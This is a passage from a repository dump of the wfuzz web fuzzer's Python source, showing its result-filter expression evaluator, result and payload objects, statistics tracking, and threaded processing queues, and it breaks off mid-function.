p_index):\n        try:\n            return self.res.payload_man.get_payload_content(p_index)\n        except IndexError:\n            raise FuzzExceptIncorrectFilter(\n                \"Non existent FUZZ payload! Use a correct index.\"\n            )\n\n    def _get_field_value(self, fuzz_val, field):\n        self.stack.append(field)\n\n        try:\n            ret = rgetattr(fuzz_val, field)\n        except IndexError:\n            raise FuzzExceptIncorrectFilter(\n                \"Non existent FUZZ payload! Use a correct index.\"\n            )\n        except AttributeError as e:\n            raise FuzzExceptIncorrectFilter(\n                \"Attribute {} not found in fuzzresult or using a string payload. {}\".format(\n                    field, str(e)\n                )\n            )\n\n        if isinstance(ret, list):\n            return [ret]\n        return ret\n\n    def __compute_bbb_symbol(self, tokens):\n        if self.baseline is None:\n            raise FuzzExceptBadOptions(\n                \"FilterQ: specify a baseline value when using BBB\"\n            )\n\n        match_dict = tokens[0].groupdict()\n\n        ret = None\n\n        if match_dict[\"field\"]:\n            ret = self._get_field_value(self.baseline, match_dict[\"field\"])\n        else:\n            element = self.stack.pop() if self.stack else None\n\n            if element == \"l\" or element == \"lines\":\n                ret = self.baseline.lines\n            elif element == \"c\" or element == \"code\":\n                ret = self.baseline.code\n            elif element == \"w\" or element == \"words\":\n                ret = self.baseline.words\n            elif element == \"h\" or element == \"chars\":\n                return self.baseline.chars\n            elif element == \"index\" or element == \"i\":\n                ret = self.baseline.nres\n            else:\n                ret = self.baseline.payload_man.get_payload_content(1)\n\n        return ret\n\n    def _get_operator_value(self, location, fuzz_val, match_dict):\n        op = match_dict[\"operator\"]\n        param1 = match_dict[\"param1\"]\n        param2 = match_dict[\"param2\"]\n\n        if param1:\n            param1 = param1.strip(\"'\")\n        if param2:\n            param2 = param2.strip(\"'\")\n\n        if (op == \"un\" or op == \"unquote\") and param1 is None and param2 is None:\n            ret = unquote(fuzz_val)\n        elif (op == \"e\" or op == \"encode\") and param1 is not None and param2 is None:\n            ret = Facade().encoders.get_plugin(param1)().encode(fuzz_val)\n        elif (op == \"d\" or op == \"decode\") and param1 is not None and param2 is None:\n            ret = Facade().encoders.get_plugin(param1)().decode(fuzz_val)\n        elif op == \"r\" or op == \"replace\":\n            return fuzz_val.replace(param1, param2)\n        elif op == \"upper\":\n            return fuzz_val.upper()\n        elif op == \"lower\" or op == \"l\":\n            return fuzz_val.lower()\n        elif op == \"gregex\" or op == \"gre\":\n            search_res = None\n            try:\n                regex = re.compile(param1)\n                search_res = regex.search(fuzz_val)\n            except re.error as e:\n                raise FuzzExceptBadOptions(\n                    \"Invalid regex expression used in expression: %s\" % str(e)\n                )\n\n            if search_res is None:\n                return \"\"\n            return search_res.group(1)\n        elif op == \"startswith\" or op == \"sw\":\n            return fuzz_val.strip().startswith(param1)\n        elif op == \"unique\" or op == \"u\":\n            if fuzz_val not in self._cache[location]:\n                self._cache[location].add(fuzz_val)\n                return True\n            else:\n                return False\n        else:\n            raise FuzzExceptBadOptions(\n                \"Bad format, expression should be m,d,e,r,s(value,value)\"\n            )\n\n        return ret\n\n    def __compute_xxx_value(self, tokens):\n        return ERROR_CODE\n\n    def __compute_expr(self, tokens):\n        leftvalue, exp_operator, rightvalue = tokens[0]\n\n        # a bit hacky but we don't care about fields in the right hand side of the expression\n        if len(self.stack) > 1:\n            self.stack.pop()\n\n        field_to_set = self.stack.pop() if self.stack else None\n\n        try:\n            if exp_operator in [\"=\", \"==\"]:\n                return str(leftvalue) == str(rightvalue)\n            elif exp_operator == \"<=\":\n                return int(leftvalue) <= int(rightvalue)\n            elif exp_operator == \">=\":\n                return int(leftvalue) >= int(rightvalue)\n            elif exp_operator == \"<\":\n                return int(leftvalue) < int(rightvalue)\n            elif exp_operator == \">\":\n                return int(leftvalue) > int(rightvalue)\n            elif exp_operator == \"!=\":\n                return leftvalue != rightvalue\n            elif exp_operator == \"=~\":\n                regex = re.compile(rightvalue, re.MULTILINE | re.DOTALL)\n                return regex.search(leftvalue) is not None\n            elif exp_operator in [\"!~\", \"~\"]:\n                ret = True\n\n                if isinstance(leftvalue, str):\n                    ret = rightvalue.lower() in leftvalue.lower()\n                elif isinstance(leftvalue, list):\n                    ret = value_in_any_list_item(rightvalue, leftvalue)\n                elif isinstance(leftvalue, dict) or isinstance(leftvalue, DotDict):\n                    ret = rightvalue.lower() in str(leftvalue).lower()\n                else:\n                    raise FuzzExceptBadOptions(\n                        \"Invalid operand type {}\".format(rightvalue)\n                    )\n\n                return ret if exp_operator == \"~\" else not ret\n            elif exp_operator == \":=\":\n                rsetattr(self.res, field_to_set, rightvalue, None)\n            elif exp_operator == \"=+\":\n                rsetattr(self.res, field_to_set, rightvalue, operator.add)\n            elif exp_operator == \"=-\":\n                if isinstance(rightvalue, str):\n                    rsetattr(self.res, field_to_set, rightvalue, lambda x, y: y + x)\n                else:\n                    rsetattr(self.res, field_to_set, rightvalue, operator.sub)\n        except re.error as e:\n            raise FuzzExceptBadOptions(\n                \"Invalid regex expression used in expression: %s\" % str(e)\n            )\n        except TypeError as e:\n            raise FuzzExceptBadOptions(\n                \"Invalid operand types used in expression: %s\" % str(e)\n            )\n        except ParseException as e:\n            raise FuzzExceptBadOptions(\"Invalid filter: %s\" % str(e))\n\n        return True\n\n    def __myreduce(self, elements):\n        first = elements[0]\n        for i in range(1, len(elements), 2):\n            if elements[i] == \"and\":\n                first = first and elements[i + 1]\n            elif elements[i] == \"or\":\n                first = first or elements[i + 1]\n\n        self.stack = []\n\n        if isinstance(first, list):\n            return [first]\n        return first\n\n    def __compute_not_operator(self, tokens):\n        operator, value = tokens\n\n        if operator == \"not\":\n            return not value\n\n        if isinstance(value, list):\n            return [value]\n        return value\n\n    def __compute_formula(self, tokens):\n        return self.__myreduce(tokens[0])\n\n    def is_active(self):\n        return self.filter_string\n\n    def is_visible(self, res, filter_string=None):\n        if filter_string is None:\n            filter_string = self.filter_string\n        self.res = res\n        try:\n            return self.finalformula.parseString(filter_string, parseAll=True)[0]\n        except ParseException as e:\n            raise FuzzExceptIncorrectFilter(\n                \"Incorrect filter expression, check documentation. {}\".format(str(e))\n            )\n        except AttributeError as e:\n            raise FuzzExceptIncorrectFilter(\n                \"It is only possible to use advanced filters when using a non-string payload. %s\"\n                % str(e)\n            )\n\n    def get_fuzz_words(self):\n        fuzz_words = self.FUZZ_MARKER_REGEX.findall(self.filter_string)\n\n        return fuzz_words\n\n\nclass FuzzResFilterSlice(FuzzResFilter):\n    # When using slice we don't have previous payload context but directly a word from the dictionary\n    def _compute_fuzz_symbol(self, tokens):\n        match_dict = tokens[0].groupdict()\n\n        p_index = match_dict[\"index\"] if match_dict[\"index\"] is not None else 1\n\n        if p_index != 1:\n            raise FuzzExceptIncorrectFilter(\n                \"Non existent FUZZ payload! Use a correct index.\"\n            )\n\n        fuzz_val = self.res\n\n        if match_dict[\"field\"]:\n            fuzz_val = self._get_field_value(self.res, match_dict[\"field\"])\n\n        return fuzz_val\n"
  },
  {
    "path": "src/wfuzz/filters/simplefilter.py",
    "content": "from ..exception import FuzzExceptBadOptions\n\nimport re\nimport collections\n\nfrom ..facade import BASELINE_CODE\n\n\nclass FuzzResSimpleFilter:\n    def __init__(self, ffilter=None):\n        self.hideparams = dict(\n            regex_show=None,\n            codes_show=None,\n            codes=[],\n            words=[],\n            lines=[],\n            chars=[],\n            regex=None,\n        )\n\n        if ffilter is not None:\n            self.hideparams = ffilter\n\n        self.stack = []\n\n        self._cache = collections.defaultdict(set)\n\n    def is_active(self):\n        return any(\n            [\n                self.hideparams[\"regex_show\"] is not None,\n                self.hideparams[\"codes_show\"] is not None,\n            ]\n        )\n\n    def set_baseline(self, res):\n        if BASELINE_CODE in self.hideparams[\"lines\"]:\n            self.hideparams[\"lines\"].append(res.lines)\n        if BASELINE_CODE in self.hideparams[\"codes\"]:\n            self.hideparams[\"codes\"].append(res.code)\n        if BASELINE_CODE in self.hideparams[\"words\"]:\n            self.hideparams[\"words\"].append(res.words)\n        if BASELINE_CODE in self.hideparams[\"chars\"]:\n            self.hideparams[\"chars\"].append(res.chars)\n\n    def is_visible(self, res):\n        if self.hideparams[\"codes_show\"] is None:\n            cond1 = True\n        else:\n            cond1 = not self.hideparams[\"codes_show\"]\n\n        if self.hideparams[\"regex_show\"] is None:\n            cond2 = True\n        else:\n            cond2 = not self.hideparams[\"regex_show\"]\n\n        if (\n            res.code in self.hideparams[\"codes\"]\n            or res.lines in self.hideparams[\"lines\"]\n            or res.words in self.hideparams[\"words\"]\n            or res.chars in self.hideparams[\"chars\"]\n        ):\n            cond1 = self.hideparams[\"codes_show\"]\n\n        if self.hideparams[\"regex\"]:\n            if self.hideparams[\"regex\"].search(res.history.content):\n                cond2 = self.hideparams[\"regex_show\"]\n\n        return cond1 and cond2\n\n    @staticmethod\n    def from_options(filter_options):\n        ffilter = FuzzResSimpleFilter()\n\n        try:\n            if filter_options[\"ss\"] is not None:\n                ffilter.hideparams[\"regex_show\"] = True\n                ffilter.hideparams[\"regex\"] = re.compile(\n                    filter_options[\"ss\"], re.MULTILINE | re.DOTALL\n                )\n\n            elif filter_options[\"hs\"] is not None:\n                ffilter.hideparams[\"regex_show\"] = False\n                ffilter.hideparams[\"regex\"] = re.compile(\n                    filter_options[\"hs\"], re.MULTILINE | re.DOTALL\n                )\n        except Exception as e:\n            raise FuzzExceptBadOptions(\n                \"Invalid regex expression used in filter: %s\" % str(e)\n            )\n\n        if [x for x in [\"sc\", \"sw\", \"sh\", \"sl\"] if len(filter_options[x]) > 0]:\n            ffilter.hideparams[\"codes_show\"] = True\n            ffilter.hideparams[\"codes\"] = filter_options[\"sc\"]\n            ffilter.hideparams[\"words\"] = filter_options[\"sw\"]\n            ffilter.hideparams[\"lines\"] = filter_options[\"sl\"]\n            ffilter.hideparams[\"chars\"] = filter_options[\"sh\"]\n        elif [x for x in [\"hc\", \"hw\", \"hh\", \"hl\"] if len(filter_options[x]) > 0]:\n            ffilter.hideparams[\"codes_show\"] = False\n            ffilter.hideparams[\"codes\"] = filter_options[\"hc\"]\n            ffilter.hideparams[\"words\"] = filter_options[\"hw\"]\n            ffilter.hideparams[\"lines\"] = filter_options[\"hl\"]\n            ffilter.hideparams[\"chars\"] = filter_options[\"hh\"]\n\n        return ffilter\n"
  },
  {
    "path": "src/wfuzz/fuzzobjects.py",
    "content": "import time\nimport hashlib\nimport re\nimport itertools\nfrom enum import Enum\n\nfrom threading import Lock\nfrom collections import defaultdict, namedtuple\n\nfrom .filters.ppfilter import FuzzResFilter\nfrom .facade import ERROR_CODE\n\nfrom .helpers.str_func import python2_3_convert_to_unicode\nfrom .helpers.obj_dyn import rgetattr\nfrom .helpers.utils import MyCounter\nfrom .helpers.obj_dic import DotDict\n\n\nFuzzWord = namedtuple(\"FuzzWord\", [\"content\", \"type\"])\n\n\nclass FuzzWordType(Enum):\n    WORD, FUZZRES = range(2)\n\n\nclass FuzzType(Enum):\n    (SEED, BACKFEED, RESULT, ERROR, STARTSEED, ENDSEED, CANCEL, PLUGIN,) = range(8)\n\n\nclass FuzzItem(object):\n    newid = itertools.count(0)\n\n    def __init__(self, item_type):\n        self.item_id = next(FuzzItem.newid)\n        self.item_type = item_type\n        self.rlevel = 1\n        self.discarded = False\n\n    def __str__(self):\n        return \"FuzzItem, type: {}\".format(self.item_type.name)\n\n    def __lt__(self, other):\n        return self.item_id < other.item_id\n\n    def __le__(self, other):\n        return self.item_id <= other.item_id\n\n    def __gt__(self, other):\n        return self.item_id > other.item_id\n\n    def __ge__(self, other):\n        return self.item_id >= other.item_id\n\n    def __eq__(self, other):\n        return self.item_id == other.item_id\n\n    def __ne__(self, other):\n        return self.item_id != other.item_id\n\n\nclass FuzzStats:\n    def __init__(self):\n        self.mutex = Lock()\n\n        self.url = \"\"\n        self.seed = None\n\n        self.total_req = 0\n        self.pending_fuzz = MyCounter()\n        self.pending_seeds = MyCounter()\n        self.processed = MyCounter()\n        self.backfeed = MyCounter()\n        self.filtered = MyCounter()\n\n        self.totaltime = 0\n        self.__starttime = 0\n\n        self._cancelled = False\n\n    @staticmethod\n    def from_options(options):\n        tmp_stats = FuzzStats()\n\n        tmp_stats.url = options[\"compiled_seed\"].history.redirect_url\n        tmp_stats.total_req = options[\"compiled_dictio\"].count()\n        tmp_stats.seed = options[\"compiled_seed\"]\n\n        return tmp_stats\n\n    def get_stats(self):\n        return {\n            \"url\": self.url,\n            \"total\": self.total_req,\n            \"backfed\": self.backfeed(),\n            \"processed\": self.processed(),\n            \"pending\": self.pending_fuzz(),\n            \"filtered\": self.filtered(),\n            \"pending_seeds\": self.pending_seeds(),\n            \"totaltime\": time.time() - self.__starttime,\n        }\n\n    def mark_start(self):\n        with self.mutex:\n            self.__starttime = time.time()\n\n    def mark_end(self):\n        with self.mutex:\n            self.totaltime = time.time() - self.__starttime\n\n    @property\n    def cancelled(self):\n        with self.mutex:\n            return self._cancelled\n\n    @cancelled.setter\n    def cancelled(self, v):\n        with self.mutex:\n            self._cancelled = v\n\n    def __str__(self):\n        string = \"\"\n\n        string += \"Total time: %s\\n\" % str(self.totaltime)[:8]\n\n        if self.backfeed() > 0:\n            string += \"Processed Requests: %s (%d + %d)\\n\" % (\n                str(self.processed())[:8],\n                (self.processed() - self.backfeed()),\n                self.backfeed(),\n            )\n        else:\n            string += \"Processed Requests: %s\\n\" % (str(self.processed())[:8])\n        string += \"Filtered Requests: %s\\n\" % (str(self.filtered())[:8])\n        string += (\n            \"Requests/sec.: %s\\n\"\n            % str(self.processed() / self.totaltime if self.totaltime > 0 else 0)[:8]\n        )\n\n        return string\n\n    def update(self, fuzzstats2):\n        self.url = fuzzstats2.url\n        self.total_req += fuzzstats2.total_req\n        self.totaltime += fuzzstats2.totaltime\n\n        self.backfeed._operation(fuzzstats2.backfeed())\n        self.processed._operation(fuzzstats2.processed())\n        self.pending_fuzz._operation(fuzzstats2.pending_fuzz())\n        self.filtered._operation(fuzzstats2.filtered())\n        self.pending_seeds._operation(fuzzstats2.pending_seeds())\n\n\nclass FuzzPayload:\n    def __init__(self):\n        self.marker = None\n        self.word = None\n        self.index = None\n        self.field = None\n        self.content = None\n        self.is_baseline = False\n        self.type = None\n\n    @property\n    def value(self):\n        if self.content is None:\n            return None\n        return (\n            self.content\n            if self.field is None\n            else str(rgetattr(self.content, self.field))\n        )\n\n    def description(self):\n        if self.is_baseline:\n            return self.content\n\n        if self.marker is None:\n            return \"\"\n\n        # return default value\n        if self.field is None and isinstance(self.content, FuzzResult):\n            return self.content.url\n        elif self.field is not None and isinstance(self.content, FuzzResult):\n            return str(rgetattr(self.content, self.field))\n\n        return self.value\n\n    def __str__(self):\n        return \"type: {} index: {} marker: {} content: {} field: {} value: {}\".format(\n            self.type,\n            self.index,\n            self.marker,\n            self.content.__class__,\n            self.field,\n            self.value,\n        )\n\n\nclass FPayloadManager:\n    def __init__(self):\n        self.payloads = defaultdict(list)\n\n    def add(self, payload_dict, fuzzword=None, is_baseline=False):\n        fp = FuzzPayload()\n        fp.marker = payload_dict[\"full_marker\"]\n        fp.word = payload_dict[\"word\"]\n        fp.index = (\n            int(payload_dict[\"index\"]) if payload_dict[\"index\"] is not None else 1\n        )\n        fp.field = payload_dict[\"field\"]\n        fp.content = fuzzword.content if fuzzword else None\n        fp.type = fuzzword.type if fuzzword else None\n        fp.is_baseline = is_baseline\n\n        self.payloads[fp.index].append(fp)\n\n    def update_from_dictio(self, dictio_item):\n        for index, dictio_payload in enumerate(dictio_item, 1):\n            fuzz_payload = None\n            for fuzz_payload in self.payloads[index]:\n                fuzz_payload.content = dictio_payload.content\n                fuzz_payload.type = dictio_payload.type\n\n            # payload generated not used in seed but in filters\n            if fuzz_payload is None:\n                self.add(\n                    {\"full_marker\": None, \"word\": None, \"index\": index, \"field\": None},\n                    dictio_item[index - 1],\n                )\n\n    def get_fuzz_words(self):\n        return [payload.word for payload in self.get_payloads()]\n\n    def get_payload(self, index):\n        return self.payloads[index]\n\n    def get_payload_type(self, index):\n        return self.get_payload(index)[0].type\n\n    def get_payload_content(self, index):\n        return self.get_payload(index)[0].content\n\n    def get_payloads(self):\n        for index, elem_list in sorted(self.payloads.items()):\n            for elem in elem_list:\n                yield elem\n\n    def description(self):\n        payl_descriptions = [payload.description() for payload in self.get_payloads()]\n        ret_str = \" - \".join([p_des for p_des in payl_descriptions if p_des])\n\n        return ret_str\n\n    def __str__(self):\n        return \"\\n\".join([str(payload) for payload in self.get_payloads()])\n\n\nclass FuzzError(FuzzItem):\n    def __init__(self, exception):\n        FuzzItem.__init__(self, FuzzType.ERROR)\n        self.exception = exception\n\n\nclass FuzzResult(FuzzItem):\n    newid = itertools.count(0)\n    FUZZRESULT_SHARED_FILTER = FuzzResFilter()\n\n    def __init__(self, history=None, exception=None, track_id=True):\n        FuzzItem.__init__(self, FuzzType.RESULT)\n        self.history = history\n\n        self.exception = exception\n        self.is_baseline = False\n        self.rlevel_desc = \"\"\n        self.nres = next(FuzzResult.newid) if track_id else 0\n\n        self.chars = 0\n        self.lines = 0\n        self.words = 0\n        self.md5 = \"\"\n\n        self.update()\n\n        self.plugins_res = []\n\n        self.payload_man = None\n\n        self._fields = None\n        self._show_field = False\n\n    @property\n    def plugins(self):\n        dic = defaultdict(lambda: defaultdict(list))\n\n        for pl in self.plugins_res:\n            if pl.source == FuzzPlugin.OUTPUT_SOURCE:\n                continue\n            dic[pl.source][pl.itype].append(pl.data)\n\n        ret = DotDict()\n        for key, first in dic.items():\n            ret[key] = DotDict()\n            for seckey, second in first.items():\n                ret[key][seckey] = second\n\n        return ret\n\n    def update(self, exception=None):\n        self.item_type = FuzzType.RESULT\n        if exception:\n            self.exception = exception\n\n        if self.history and self.history.content:\n            m = hashlib.md5()\n            m.update(python2_3_convert_to_unicode(self.history.content))\n            self.md5 = m.hexdigest()\n\n            self.chars = len(self.history.content)\n            self.lines = self.history.content.count(\"\\n\")\n            self.words = len(re.findall(r\"\\S+\", self.history.content))\n\n        return self\n\n    def __str__(self):\n        res = '%05d:  C=%03d   %4d L\\t   %5d W\\t  %5d Ch\\t  \"%s\"' % (\n            self.nres,\n            self.code,\n            self.lines,\n            self.words,\n            self.chars,\n            self.description,\n        )\n        for plugin in self.plugins_res:\n            if plugin.itype == FuzzPlugin.SUMMARY_ITYPE:\n                res += \"\\n  |_ %s\" % plugin.issue\n\n        return res\n\n    @property\n    def description(self):\n        res_description = self.payload_man.description() if self.payload_man else None\n\n        if not res_description:\n            res_description = self.url\n\n        ret_str = None\n\n        if self._show_field is True:\n            ret_str = self._field()\n        elif self._show_field is False and self._fields is not None:\n            ret_str = \"{} | {}\".format(res_description, self._field())\n        else:\n            ret_str = res_description\n\n        if self.exception:\n            return ret_str + \"! \" + str(self.exception)\n\n        if self.rlevel > 1:\n            return self.rlevel_desc + \" - \" + ret_str\n\n        return ret_str\n\n    def eval(self, expr):\n        return self.FUZZRESULT_SHARED_FILTER.is_visible(self, expr)\n\n    def _field(self, separator=\", \"):\n        list_eval = [self.eval(field) for field in self._fields]\n        return \" | \".join(\n            [\n                separator.join(el) if isinstance(el, list) else str(el)\n                for el in list_eval\n            ]\n        )\n\n    # parameters in common with fuzzrequest\n    @property\n    def content(self):\n        return self.history.content if self.history else \"\"\n\n    @property\n    def url(self):\n        return self.history.url if self.history else \"\"\n\n    @property\n    def code(self):\n        if self.history and self.history.code >= 0 and not self.exception:\n            return int(self.history.code)\n        # elif not self.history.code:\n        # return 0\n        else:\n            return ERROR_CODE\n\n    @property\n    def timer(self):\n        return self.history.reqtime if self.history and self.history.reqtime else 0\n\n    # factory methods\n\n    def update_from_options(self, options):\n        self._fields = options[\"fields\"]\n        self._show_field = options[\"show_field\"]\n\n\nclass FuzzPlugin(FuzzItem):\n    OUTPUT_SOURCE = \"output\"\n    SUMMARY_ITYPE = \"summary\"\n    NONE, INFO, LOW, MEDIUM, HIGH, CRITICAL = range(6)\n    MIN_VERBOSE = INFO\n\n    def __init__(self):\n        FuzzItem.__init__(self, FuzzType.PLUGIN)\n        self.source = \"\"\n        self.issue = \"\"\n        self.itype = \"\"\n        self.data = \"\"\n        self._exception = None\n        self._seed = None\n        self.severity = self.INFO\n\n    def is_visible(self, verbose):\n        if verbose and self.itype == self.SUMMARY_ITYPE:\n            return False\n\n        if not verbose and self.severity >= self.MIN_VERBOSE:\n            return False\n\n        return True\n"
  },
  {
    "path": "src/wfuzz/fuzzqueues.py",
    "content": "import time\nimport pickle as pickle\nimport gzip\nfrom threading import Thread, Event\nfrom queue import Queue\nfrom collections import defaultdict\n\nfrom .factories.fuzzresfactory import resfactory\nfrom .factories.plugin_factory import plugin_factory\nfrom .factories.payman import payman_factory\nfrom .fuzzobjects import FuzzType, FuzzItem, FuzzWord, FuzzWordType\nfrom .myqueues import FuzzQueue\nfrom .exception import (\n    FuzzExceptInternalError,\n    FuzzExceptBadOptions,\n    FuzzExceptBadFile,\n    FuzzExceptPluginLoadError,\n)\nfrom .myqueues import FuzzRRQueue\nfrom .facade import Facade\nfrom .ui.console.mvc import View\n\n\nclass AllVarQ(FuzzQueue):\n    def __init__(self, options):\n        FuzzQueue.__init__(self, options)\n        self.delay = options.get(\"delay\")\n        self.seed = options[\"compiled_seed\"]\n\n    def get_name(self):\n        return \"AllVarQ\"\n\n    def cancel(self):\n        self.options[\"compiled_stats\"].cancelled = True\n\n    def items_to_process(self):\n        return [FuzzType.STARTSEED]\n\n    def process(self, item):\n        self.stats.pending_seeds.inc()\n\n        for var_name, payload in self.options[\"compiled_dictio\"]:\n            if self.options[\"compiled_stats\"].cancelled:\n                break\n            self.stats.pending_fuzz.inc()\n            if self.delay:\n                time.sleep(self.delay)\n            self.send(\n                resfactory.create(\n                    \"fuzzres_from_allvar\", self.options, var_name.content, payload\n                )\n            )\n\n        self.send_last(FuzzItem(FuzzType.ENDSEED))\n\n\nclass SeedQ(FuzzQueue):\n    def __init__(self, options):\n        FuzzQueue.__init__(self, options)\n        self.delay = options.get(\"delay\")\n\n    def get_name(self):\n        return \"SeedQ\"\n\n    def cancel(self):\n        self.options[\"compiled_stats\"].cancelled = True\n\n    def items_to_process(self):\n        return [FuzzType.STARTSEED, FuzzType.SEED]\n\n    def send_baseline(self):\n        fuzz_baseline = self.options[\"compiled_baseline\"]\n\n        if fuzz_baseline is not None and self.stats.pending_seeds() == 1:\n            self.stats.pending_fuzz.inc()\n            self.send_first(fuzz_baseline)\n\n            # wait for BBB to be completed before generating more items\n            while self.stats.processed() == 0 and not self.stats.cancelled:\n                time.sleep(0.0001)\n\n    def restart(self, seed):\n        self.options[\"compiled_seed\"] = seed\n        self.options.compile_dictio()\n\n    def process(self, item):\n        if item.item_type == FuzzType.STARTSEED:\n            self.stats.pending_seeds.inc()\n        elif item.item_type == FuzzType.SEED:\n            self.restart(item)\n        else:\n            raise FuzzExceptInternalError(\"SeedQ: Unknown item type in queue!\")\n\n        self.send_baseline()\n        self.send_dictionary()\n\n    def get_fuzz_res(self, dictio_item):\n        if self.options[\"seed_payload\"] and dictio_item[0].type == FuzzWordType.FUZZRES:\n            return resfactory.create(\n                \"seed_from_options_and_dict\", self.options, dictio_item\n            )\n        else:\n            return resfactory.create(\n                \"fuzzres_from_options_and_dict\", self.options, dictio_item\n            )\n\n    def send_dictionary(self):\n        # Empty dictionary?\n        try:\n            fuzzres = next(self.options[\"compiled_dictio\"])\n        except StopIteration:\n            raise FuzzExceptBadOptions(\n                \"Empty dictionary! Please check payload or filter.\"\n            )\n\n        # Enqueue requests\n        try:\n            while fuzzres:\n                if self.options[\"compiled_stats\"].cancelled:\n                    break\n                self.stats.pending_fuzz.inc()\n                if self.delay:\n                    time.sleep(self.delay)\n                self.send(self.get_fuzz_res(fuzzres))\n                fuzzres = next(self.options[\"compiled_dictio\"])\n        except StopIteration:\n            pass\n\n        self.send_last(FuzzItem(FuzzType.ENDSEED))\n\n\nclass SaveQ(FuzzQueue):\n    def __init__(self, options):\n        FuzzQueue.__init__(self, options)\n\n        self.output_fn = None\n        try:\n            self.output_fn = gzip.open(options.get(\"save\"), \"w+b\")\n        except IOError as e:\n            raise FuzzExceptBadFile(\"Error opening results file!. %s\" % str(e))\n\n    def get_name(self):\n        return \"SaveQ\"\n\n    def _cleanup(self):\n        self.output_fn.close()\n\n    def process(self, item):\n        pickle.dump(item, self.output_fn)\n        self.send(item)\n\n\nclass ConsolePrinterQ(FuzzQueue):\n    def __init__(self, options):\n        FuzzQueue.__init__(self, options)\n        self.printer = Facade().printers.get_plugin(self.options[\"console_printer\"])(\n            None\n        )\n\n    def mystart(self):\n        self.printer.header(self.stats)\n\n    def get_name(self):\n        return \"ConsolePrinterQ\"\n\n    def _cleanup(self):\n        self.printer.footer(self.stats)\n\n    def process(self, item):\n        self.printer.result(item)\n        self.send(item)\n\n\nclass CLIPrinterQ(FuzzQueue):\n    def __init__(self, options):\n        FuzzQueue.__init__(self, options)\n        self.printer = View(self.options)\n\n    def mystart(self):\n        self.printer.header(self.stats)\n\n    def process_discarded(self):\n        return True\n\n    def get_name(self):\n        return \"CLIPrinterQ\"\n\n    def _cleanup(self):\n        self.printer.footer(self.stats)\n\n    def process(self, item):\n        self.printer.result(item)\n        self.send(item)\n\n\nclass PrinterQ(FuzzQueue):\n    def __init__(self, options):\n        FuzzQueue.__init__(self, options)\n\n        self.printer = options.get(\"compiled_printer\")\n        self.printer.header(self.stats)\n\n    def get_name(self):\n        return \"PrinterQ\"\n\n    def _cleanup(self):\n        self.printer.footer(self.stats)\n\n    def process(self, item):\n        self.printer.result(item)\n        self.send(item)\n\n\nclass RoutingQ(FuzzQueue):\n    def __init__(self, options, routes):\n        FuzzQueue.__init__(self, options)\n        self.routes = routes\n\n    def get_name(self):\n        return \"RoutingQ\"\n\n    def items_to_process(self):\n        return [FuzzType.SEED, FuzzType.BACKFEED]\n\n    def process(self, item):\n        if item.item_type in self.routes:\n            self.routes[item.item_type].put(item)\n        else:\n            self.queue_out.put(item)\n\n\nclass FilterQ(FuzzQueue):\n    def __init__(self, options, ffilter):\n        FuzzQueue.__init__(self, options)\n\n        self.ffilter = ffilter\n\n    def get_name(self):\n        return \"filter_thread\"\n\n    def process(self, item):\n        if item.is_baseline:\n            self.ffilter.set_baseline(item)\n\n        if self.ffilter.is_visible(item) or item.is_baseline:\n            self.send(item)\n        else:\n            self.discard(item)\n\n\nclass SliceQ(FuzzQueue):\n    def __init__(self, options, prefilter):\n        FuzzQueue.__init__(self, options)\n\n        self.ffilter = prefilter\n\n    def get_name(self):\n        return \"slice_thread\"\n\n    def process(self, item):\n        if item.is_baseline or self.ffilter.is_visible(item):\n            self.send(item)\n        else:\n            self.discard(item)\n\n\nclass JobQ(FuzzRRQueue):\n    def __init__(self, options):\n        # Get active plugins\n        lplugins = [x() for x in Facade().scripts.get_plugins(options.get(\"script\"))]\n\n        if not lplugins:\n            raise FuzzExceptBadOptions(\n                \"No plugin selected, check the --script name or category introduced.\"\n            )\n\n        concurrent = int(Facade().sett.get(\"general\", \"concurrent_plugins\"))\n        FuzzRRQueue.__init__(\n            self, options, [JobMan(options, lplugins) for i in range(concurrent)]\n        )\n\n    def get_name(self):\n        return \"JobQ\"\n\n    def process(self, item):\n        self.send(item)\n\n\nclass JobMan(FuzzQueue):\n    def __init__(self, options, selected_plugins):\n        FuzzQueue.__init__(self, options)\n        self.__walking_threads = Queue(20)\n        self.selected_plugins = selected_plugins\n        self.cache = options.cache\n        self.max_dlevel = options.get(\"dlevel\")\n\n    def get_name(self):\n        return \"Jobman\"\n\n    # ------------------------------------------------\n    # threading\n    # ------------------------------------------------\n    def process(self, res):\n        # process request through plugins\n        if not res.exception:\n            if self.options[\"no_cache\"] or self.cache.update_cache(\n                res.history, \"processed\"\n            ):\n\n                plugins_res_queue = Queue()\n\n                for pl in self.selected_plugins:\n                    try:\n                        if not pl.validate(res):\n                            continue\n                        th = Thread(\n                            target=pl.run,\n                            kwargs={\n                                \"fuzzresult\": res,\n                                \"control_queue\": self.__walking_threads,\n                                \"results_queue\": plugins_res_queue,\n                            },\n                        )\n                    except Exception as e:\n                        raise FuzzExceptPluginLoadError(\n                            \"Error initialising plugin %s: %s \" % (pl.name, str(e))\n                        )\n                    self.__walking_threads.put(th)\n                    th.start()\n\n                self.__walking_threads.join()\n\n                self.process_results(res, plugins_res_queue)\n\n        # add result to results queue\n        self.send(res)\n\n    def process_results(self, res, plugins_res_queue):\n        enq_item = defaultdict(lambda: defaultdict(int))\n\n        while not plugins_res_queue.empty():\n            item = plugins_res_queue.get()\n\n            if item._exception is not None:\n                if Facade().sett.get(\"general\", \"cancel_on_plugin_except\") == \"1\":\n                    self._throw(item._exception)\n                res.plugins_res.append(item)\n            elif item._seed is not None and self.options[\"transport\"] == \"http\":\n                cache_hit = self.cache.update_cache(item._seed.history, \"backfeed\")\n                if (self.options[\"no_cache\"] or cache_hit) and (\n                    self.max_dlevel == 0 or self.max_dlevel >= res.rlevel\n                ):\n                    self.stats.backfeed.inc()\n                    self.stats.pending_fuzz.inc()\n                    self.send(item._seed)\n                    enq_item[item.source][\"request enqueued\"] += 1\n            elif item.issue:\n                enq_item[item.source][item.itype] += 1\n                res.plugins_res.append(item)\n\n        for plugin_name, plugin_type in enq_item.items():\n            for domain, enq_num in plugin_type.items():\n                res.plugins_res.append(\n                    plugin_factory.create(\n                        \"plugin_from_summary\",\n                        \"Plugin {}: {} new {}(s) found.\".format(\n                            plugin_name, enq_num, domain\n                        ),\n                    )\n                )\n\n\nclass RecursiveQ(FuzzQueue):\n    def __init__(self, options):\n        FuzzQueue.__init__(self, options)\n\n        self.cache = options.cache\n        self.max_rlevel = options.get(\"rlevel\")\n\n    def get_name(self):\n        return \"RecursiveQ\"\n\n    def process(self, fuzz_res):\n        # check if recursion is needed\n        if self.max_rlevel >= fuzz_res.rlevel and 